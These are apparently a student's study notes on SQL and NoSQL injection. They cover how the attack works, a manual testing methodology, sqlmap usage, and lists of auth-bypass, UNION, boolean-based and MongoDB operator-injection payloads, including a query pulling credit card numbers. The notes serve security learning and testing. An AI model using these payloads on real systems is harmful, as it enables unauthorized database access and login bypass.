SQLi Notes

▼ SQL Injection Fundamentals

- Injecting a malicious SQL statements into app’s input fields that are not properly sanitized and can manipulate the databased or gain access to sensitive info

Impact

- Theft of sensitive data
- Unauthorized access to sensitive systems, and even full system compromise.

Impact on the CIA triad

- Confidentiality - Since SQL databases generally hold sensitive data, loss
  of confidentiality is a problem with SQL Injection vulnerabilities.
- Integrity - Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL Injection attack.
- Authentication - If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.
- Availability - SQL injection attacks can affect the availability of a web application and database and could take the website down due to loss/damage of data.

Consequences

- Sensitive data exposure/data breaches
- Data manipulation
- Code execution
- Business disruption

Type of Database matters ?

- The type of the database doesn’t matter as long as the target is using a database

- Relational databases such as MySQL, MSSQL, SQL Server, Oracle, PostgreSQL, and others

Core Components Involved

1. **Attacker**
2. **Web Application** (e.g., WordPress site)
3. **Web Server Stack (LAMP)**
    - **Linux** – Operating system
    - **Apache** – Web server
    - **MySQL** – Database
    - **PHP** – Backend language

Structure of a Typical Web Application

- **Frontend**: HTML, CSS, JS – What users see.
- **Backend**: Server-side code (e.g., PHP) processes logic and talks to the database.
- **Database**: Stores data like user credentials.

How SQL Injection Works

1. Attacker identifies an input field
2. Sends malicious SQL code via an HTTP request.
3. The web server processes the request and passes the input unchecked to the database.
4. Backend sends SQL query to the database including the malicious input.
5. Database executes the query with web app's credentials (not the attacker's).
6. Response returns to the web app → attacker sees the result.

Types of SQLi Queries

- **Authentication Bypass**: Use SQL logic to trick the system into logging in without real credentials.
- **Error-based**: Intentionally cause errors to confirm injection and get info.

- **Time-based**: Cause delays to test blind SQLi.
- **Union-based**: Combine results of two queries.

Types of SQL injection vuln

1. In-Band SQLi
    a. Error Based SQLi
    b. Union Based SQLi
2. Blind SQLi
    a. Boolean Based SQLi
    b. Time Based SQLi
3. Out-of-Band SQLi

3) **Out-of-Band SQL Injection**

- A channel to send an injection and a different one to receive the results
- Least common
- **Example:** Attacker injects a query that makes the database send a DNS or HTTP request to a server the attacker controls, thereby extracting data without using the original web response.
- Requires the database and environment to support features like outbound network calls.

▼ **Database**

- A database is a collection of data that are organized in a way makes it easy to manage, access and update

What is DBMS?

- software to facilitate the communication between your app and the database
- It provides tools to:
    - Create databases
    - Store data
    - Retrieve and query data
    - Update and delete data

    - Secure data
    - Handle concurrency (multiple users at once)
    - Perform backups and recovery

Examples of DBMS

- **MySQL** – Open-source, widely used for web apps.
- **PostgreSQL** – Also open-source, known for advanced features.
- **Oracle Database** – Commercial DBMS, used in enterprise settings.
- **Microsoft SQL Server** – Another commercial RDBMS from Microsoft.

Types of Database

1. **Relational Databases (SQL based)**
    - Store data in tables
    - Each table has rows (records) and columns (fields/attributes).
    - Tables can be related to each other using keys.
    - **Example:** A "`students`" table can link to a "`courses`" table through a "`student_courses`" table.
    - Use SQL to manage data.
2. **NoSQL Database**
    - Don't use traditional tables.
    - More flexible with data structure.
    - Use models like documents, key-value pairs, graphs, or wide-columns.
    - Great for big data, scalability, and unstructured data.
3. **Object Oriented Database**
    - Store data as **objects**, like in object-oriented programming.
    - Better for complex data and relationships.

The difference between Relational and NoSQL database

Feature	Relational Databases (SQL)	NoSQL Databases
Structure	Tables with rows & columns	Documents, key-value, graph, columnar
Schema	Fixed, predefined schema	Flexible schema
Query Language	SQL (Structured Query Language)	Varies (MongoDB queries, Redis commands)
Relationships	Strong via foreign keys	Rare or handled at app level
Use Cases	Structured data, strong consistency	Big data, real-time, scalability needed
Examples	MySQL, PostgreSQL, Oracle	MongoDB, Redis, Cassandra
Scalability	Vertical (scale-up)	Horizontal (scale-out)

▼ Intro To SQL

Basic SQL Commands

Command	Purpose
SELECT	Read data from the database
UNION	Combine results from multiple queries
INSERT	Add new data/records
UPDATE	Change existing data
DELETE	Remove data
ORDER BY	Sort the result set
LIMIT	Limit the number of returned records

Example:

```
SELECT name, description FROM products WHERE id=9;
```

- This retrieves the name and description from the "`products`" table where the id is 9.

UNION Example:

```
SELECT name, description FROM products WHERE id=9
UNION
```

```
SELECT price FROM products WHERE id=9;
```

- This combines the results of two queries into one result set.

Special Characters and Comments in SQL

Command	Function
`' or "`	Character string indicators.
`/ ... /`	Multi-line comment.
`+`	Addition or concatenation.
`# or -- (Hyphen hyphen)`	Single-line comment.
`|| (Double pipe)`	Concatenation
`%`	Wildcard attribute indicator
`@variable`	Local variable.
`@@variable`	Global variable.
`waitfor delay '00:00:10'`	Time delay.

Example of SQL Comments

```
SELECT field FROM table; # this is a comment
SELECT field FROM table; -- this is another comment
```

How Web Apps Utilize SQL (PHP Example)

- A typical PHP script might look like this:

```
$dbhostname='1.2.3.4';
$dbuser='username';
$dbpassword='password';
$dbname='database';
$connection = mysqli_connect($dbhostname, $dbuser, $dbpasswor
d, $dbname);
$query = "SELECT Name, Description FROM Products WHERE ID
='3' UNION SELECT Username, Password FROM Accounts;";
$results = mysqli_query($connection, $query);
display_results($results);
```

- `$connection :` holds the connection to the database.

- `$query` : contains the SQL query to be executed.
- `mysqli_query()` : sends the query to the database.
- `display_results()` : displays the returned data.

Vulnerable Dynamic Queries

- The queries are build dynamically using user input

```
$id = $_GET['id'];
$query = "SELECT Name, Description FROM Products WHERE ID='$id'
```

- If a user manipulates the input the can change the query's behavior
- **Input:** `' OR 'a'='a`
- The query becomes

```
SELECT Name, Description FROM Products WHERE ID='' OR 'a'='a
```

  - This always-true condition (`'a'='a'`) causes the database to return all records in the table.

▼ Hunting SQLi

1. **Requirements**
   - App input
   - The input must interact with the database
   - Lack of adequate input validation or sanitization
2. **Identify Potentially Injectable Inputs**
   - Login forms
   - Search boxes
   - URL parameters
   - Form fields
   - Hidden fields
   - Cookies
3. **Manual Testing**

a. Inject special characters : `‘ “ ;` or SQL keywords `OR 1=1`
   - Single quote (`'`) and double quote (`"`)
   - SQL keywords: Try `SELECT`, `UNION`, etc.
   - SQL comments: Use `-` or `#` to comment out the rest of a query.

b. Look for errors or odd behavior

c. Test Different Methods:
   - **Error-based:** Does injecting a malformed string cause an SQL error to be returned?
   - **Union-based:** Can you use `UNION SELECT` to fetch data from another table?
   - **Boolean-based:** Can you manipulate the logic (e.g., `' OR 1=1--`) to bypass authentication?
   - **Time-based:** Does the server response delay when you inject a command like `SLEEP(5)` or `WAITFOR DELAY '00:00:05'`

d. Recognize Input Types
   - Integer-based parameters: e.g., `id=1`
     - Test payloads: `1 OR 1=1`, `1*56` (No quotes needed)
   - String-based parameters: e.g., `name='Alexis'`
     - Test payloads: `Alexis' OR '1'='1' --` (Quotes needed)
   - Always end with a comment to ignore the rest of the original query

e. Database Fingerprinting
   - Different DBMS return different error messages.
     - MySQL: “You have an error in your SQL syntax...”
     - MSSQL: “Incorrect syntax near...”
   - Knowing the DBMS helps you craft better payloads.

4. **Automated Testing**
   - Use tools like SQLMap, OWASP ZAP, or Burp Suite to scan and automate tests.

5. **Code Review**
    - Look for string concatenation of SQL + user input
    - Missing prepared statements or input validation is a red flag

Database and their payloads

Database	Specific SQLi payloads
MySQL, MSSQL, Oracle, PostgreSQL, SQLite	`' OR '1'='1' --` `' OR '1'='1' /*`
MySQL	`' OR '1'='1' #`
Access (using null characters)	`' OR '1'='1' %00` `' OR '1'='1' %16`

Common SQLi Payloads

```
'
'`
``
,'
"'
""
/
//
\
\\
;
' or "
```

```
-- or #
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; -
```

```
‘ or ‘1’=‘1 --
‘ or (‘1’=‘1’ --
Admin’ --
Admin’ #
‘ having 1=1 --
‘ or b=b --
‘ or 1=1#
‘ or 2 > 1 --
‘ or test=test--
‘) or ‘1’=‘1 --
‘ or 10-5=5 --
‘ or sqltest=sql+test--
‘, or a=a -
Admin’--
```

Resources Provided

- GitHub payload list:
  https://github.com/payloadbox/sql-injection-payload-list
- PortSwigger cheat sheet:
  https://portswigger.net/web-security/sql-injection/cheat-sheet
- OWASP Testing Guide:

https://owasp.org/www-project-web-security-testing-guide/

▼ In-Band SQLi

- The attacker uses the same communication channel to both inject the malicious SQL code and receive the results.
- Most common type of SQLi.
- **Example scenario:** You enter a payload into a web form and see the results directly on the webpage.

▼ Error-Based SQLi

1. Find a vulnerable input
2. Inject malformed SQL (e.g. `'`)
3. Observe the database's error message as it may reveal
    - Table or column names
    - DBMS type
    - or even actual data

▼ Error-Based SQLi Lab using SQLMap

- we save the request and leave the rest to sqlmap
- we type the command in the same path the request is saved

    `sqlmap -r request -p words_exact --technique=E`

    - `-p` for the payload where you want to inject it
    - `--technique` for the techniques you want to use
    - `--technique=E` for error based
    - `--technique=B` for Boolean based
    - `--technique=U` for union based

▼ Union-Based SQLi

- A type that abuse the `UNION` operator
- combine your own SQL `SELECT` statements with the original query run by the application

- For the attack to work, both queries must have the same number of columns and compatible data types.

Example

- Vulnerable Query:

```
SELECT id, name FROM users WHERE id = '<user_input>'
```

- Injected Input:

```
' UNION SELECT creditcardnumber, 'hack' FROM creditcards --
```

- Resulting Query:

```
SELECT id, name FROM users WHERE id = ''
UNION SELECT creditcardnumber, 'hack' FROM creditcards --
```

▼ UNION METHODOLGY

1. Identify User Inputs

- Look for places where input affects a SQL query: URL parameters, form fields, cookies, etc.

2. Test for Vulnerabilities

- Inject a single quote `'` or double quote `"` and check for errors or unusual behavior.

3. Find Injection Points

- Try payloads like:
  - `' OR '1'='1`
  - `' UNION SELECT null, null --`
- If the app behaves differently (e.g., shows extra data), it could be vulnerable.

4. Confirm Union-Based Vulnerability

- Inject a full `UNION SELECT` with the same number of columns.
- If you see unexpected data, the input is vulnerable.

5. Enumerate the Database

- Techniques:
  - `ORDER BY` to discover the number of columns.
  - `UNION SELECT table_name, null FROM information_schema.tables --`
  - `LIMIT` to page through results.

▼ Blind SQLi

- Injecting an SQL but the response not directly in the response
- The attacker is "blind" to the output, so must infer success/failure indirectly.
- Still uses the same communication channel

▼ Boolean-Based SQLi

- we get a yes/not or true/false feedback based on how the app behaves not the the query results
- to extract info we could inject a yes/not payload for example :

```
' OR LENGTH(database()) > 5 --
```

- So we can extract data like
  - database name length
  - specific characters of tabel or column
  - values in rows

▼ Boolean-Based METHODOLGY

1. Identify User Inputs

2. Test for Vulnerabilities

3. Find Injection Points

- Try payloads like:
  - `' OR LENGTH(database()) = 6 --`
  - `' OR SUBSTRING(database(), 1, 1) = 'm' --`

4. Observe the response

- **Check for**
  - Different page contents
  - Redirects
  - HTTP status changes
  - Timing (for time-based blind injection)

▼ Time-Based SQLi

- The attacker injects queries that cause a delay in the database response if a condition is true (e.g., `WAITFOR DELAY` in SQL Server or `SLEEP()` in MySQL).
- By measuring how long the application takes to respond, the attacker can deduce database details.
- By intercepting the request and injecting the payload we monitor the behavior

▼ NoSQL Injection

▼ NoSQLi Fundamentals

- instead of injecting into SQL queries the attacker injects malicious JSON, JS or query objects

Example: MongoDB NoSQL Injection

- **Intended Query** (login form):

```
db.users.findOne({ username: inputUser, password: inputPass });
```

- **User Input**

  `$ne` "Not Equal"

```
inputUser: { "$ne": null }
inputPass: { "$ne": null }
```

- **Resulting Query**:

```
db.users.findOne({ username: { "$ne": null }, password: { "$ne": n
```

Especially Dangerous: `$where`

- Lets users run JavaScript code in the query
- Example of dangerous input:

```
{ "$where": "this.password == '123' || true" }
```

- This returns `true` for every document, again allowing bypass.
- This is a logical OR in JavaScript. So even if `this.password == '123'` is false, the whole expression becomes true because `true || anything` is always true.

▼ MongoDB Basics

- to fire up the database start `mongo`
- we end the commands with semicolon
- `db.current.find()` → retrieves all users in the database
- `db.current.count()` → retrieves the count
- `db.city.find({"city":"MA"}).count()` → retrieves the count of people live in MA
- `db.city.find({"pop":{$gt:100000}}).count()` → retrieves the count of pop greater than 100000

```
> db.city.find({"pop":{$gt:100000}}).count()
4
> db.city.find({"pop":{$gt:100000}})
{ "_id" : "10021", "city" : "NEW YORK", "loc" : [ -73.958805, 40.768476 ], "pop" : 106564, "state" : "NY" }
{ "_id" : "10025", "city" : "NEW YORK", "loc" : [ -73.968312, 40.797466 ], "pop" : 100027, "state" : "NY" }
{ "_id" : "11226", "city" : "BROOKLYN", "loc" : [ -73.956985, 40.646694 ], "pop" : 111396, "state" : "NY" }
{ "_id" : "60623", "city" : "CHICAGO", "loc" : [ -87.7157, 41.849015 ], "pop" : 112047, "state" : "IL" }
```

- `db.city.find({"$and":[{pop : {$lt:100}}, {"state":"FL"}]}).count()`

```
db.collection.find({
"$and": [
{ field1: value1 },
{ field2: value2 }
]
});
```

`$lt` → "less than"

- `db.city.find {field:{ "$regex": /pattern/ }}`

Payload	Use case/Function
username[$ne]=1$password[$ne]=1	Not equals to (Auth Bypass)
username[$regex]=^adm$password[$ne]=1	Checks a regular expression (Auth Bypass)
username[$regex]=.{25}&pass[$ne]=1	Checks regex to find the length of a value
username[$eq]=admin&password[$ne]=1	Equals to.
username[$ne]=admin&pass[$gt]=s	Greater than.

▼ Methodology with the help of Eng. Ahmed Sultan

1. Imagine the query
2. Fingerprint the db

Database type	Query
Microsoft, MySQL	`SELECT @@version`
Oracle	`SELECT * FROM v$version`
PostgreSQL	`SELECT version()`

Database	Single-Line Comment	Multi-Line Comment
MySQL	`# comment`	`/* comment */`
Microsoft SQL Server (MSSQL)	`-- - comment`	`/* comment */`
Oracle	`-- comment`	`/* comment */`
PostgreSQL	`-- comment`	`/* comment */`

- Use https://sqlfiddle.com/ to help with the query process